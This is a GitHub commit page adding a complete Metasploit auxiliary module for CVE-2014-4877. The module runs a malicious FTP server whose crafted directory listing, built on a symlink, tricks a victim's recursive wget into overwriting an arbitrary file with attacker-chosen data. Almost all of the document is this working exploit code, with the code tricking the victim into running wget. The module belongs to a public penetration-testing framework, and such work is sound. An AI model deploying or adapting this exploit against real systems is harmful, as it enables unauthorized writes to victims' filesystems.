Skip to content

Commit dade6b9

Browse files
author
Tod Beardsley
committed
Land rapid7#4088, wget exploit
Fixes rapid7#4077 as well.
2 parents e31c9f5 + 64c206f commit dade6b9

File tree

1 file changed

+163
-0
lines changed

1 file changed

+163
-0
lines changed
Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::FtpServer
13+
include Msf::Auxiliary::Report
14+
15+
def initialize
16+
super(
17+
'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
18+
'Description' => %q{
19+
This module exploits a vulnerability in Wget when used in
20+
recursive (-r) mode with a FTP server as a destination. A
21+
symlink is used to allow arbitrary writes to the target's
22+
filesystem. To specify content for the file, use the
23+
"file:/path" syntax for the TARGET_DATA option.
24+
25+
Tested successfully with wget 1.14. Versions prior to 1.16
26+
are presumed vulnerable.
27+
},
28+
'Author' => ['hdm'],
29+
'License' => MSF_LICENSE,
30+
'Actions' => [['Service']],
31+
'PassiveActions' => ['Service'],
32+
'References' =>
33+
[
34+
[ 'CVE', '2014-4877'],
35+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
36+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
37+
],
38+
'DefaultAction' => 'Service',
39+
'DisclosureDate' => 'Oct 27 2014'
40+
)
41+
42+
register_options(
43+
[
44+
OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]),
45+
OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]),
46+
OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
47+
], self.class)
48+
49+
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
50+
end
51+
52+
def run
53+
my_address = Rex::Socket.source_address
54+
print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
55+
exploit()
56+
end
57+
58+
def on_client_command_user(c,arg)
59+
@state[c][:user] = arg
60+
c.put "331 User name okay, need password...\r\n"
61+
end
62+
63+
def on_client_command_pass(c,arg)
64+
@state[c][:pass] = arg
65+
c.put "230 Login OK\r\n"
66+
@state[c][:auth] = true
67+
print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")
68+
end
69+
70+
def on_client_command_retr(c,arg)
71+
print_status("#{@state[c][:name]} -> RETR #{arg}")
72+
73+
if not @state[c][:auth]
74+
c.put "500 Access denied\r\n"
75+
return
76+
end
77+
78+
unless arg.index(::File.basename(datastore['TARGET_FILE']))
79+
c.put "550 File does not exist\r\n"
80+
return
81+
end
82+
83+
conn = establish_data_connection(c)
84+
if not conn
85+
c.put("425 Can't build data connection\r\n")
86+
return
87+
end
88+
89+
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
90+
conn.put(datastore['TARGET_DATA'])
91+
c.put("226 Transfer complete.\r\n")
92+
conn.close
93+
94+
print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
95+
end
96+
97+
def on_client_command_list(c,arg)
98+
99+
print_status("#{@state[c][:name]} -> LIST #{arg}")
100+
101+
if not @state[c][:auth]
102+
c.put "500 Access denied\r\n"
103+
return
104+
end
105+
106+
conn = establish_data_connection(c)
107+
if not conn
108+
c.put("425 Can't build data connection\r\n")
109+
return
110+
end
111+
112+
pwd = @state[c][:cwd]
113+
buf = ''
114+
115+
dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y")
116+
unless pwd.index(@fakedir)
117+
buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
118+
buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n"
119+
else
120+
buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
121+
end
122+
123+
c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
124+
conn.put("total #{buf.length}\r\n" + buf)
125+
c.put("226 Transfer complete.\r\n")
126+
conn.close
127+
end
128+
129+
def on_client_command_size(c,arg)
130+
131+
if not @state[c][:auth]
132+
c.put "500 Access denied\r\n"
133+
return
134+
end
135+
136+
c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
137+
end
138+
139+
140+
def on_client_command_cwd(c,arg)
141+
142+
print_status("#{@state[c][:name]} -> CWD #{arg}")
143+
144+
if not @state[c][:auth]
145+
c.put "500 Access denied\r\n"
146+
return
147+
end
148+
149+
upath = "/"
150+
npath = ::File.join(@state[c][:cwd], arg)
151+
bpath = npath[upath.length, npath.length - upath.length]
152+
153+
# Check for traversal above the root directory
154+
if not (npath[0, upath.length] == upath or bpath == '')
155+
bpath = '/'
156+
end
157+
158+
bpath = '/' if bpath == ''
159+
@state[c][:cwd] = bpath
160+
161+
c.put "250 CWD command successful.\r\n"
162+
end
163+
end

0 commit comments

Comments
 (0)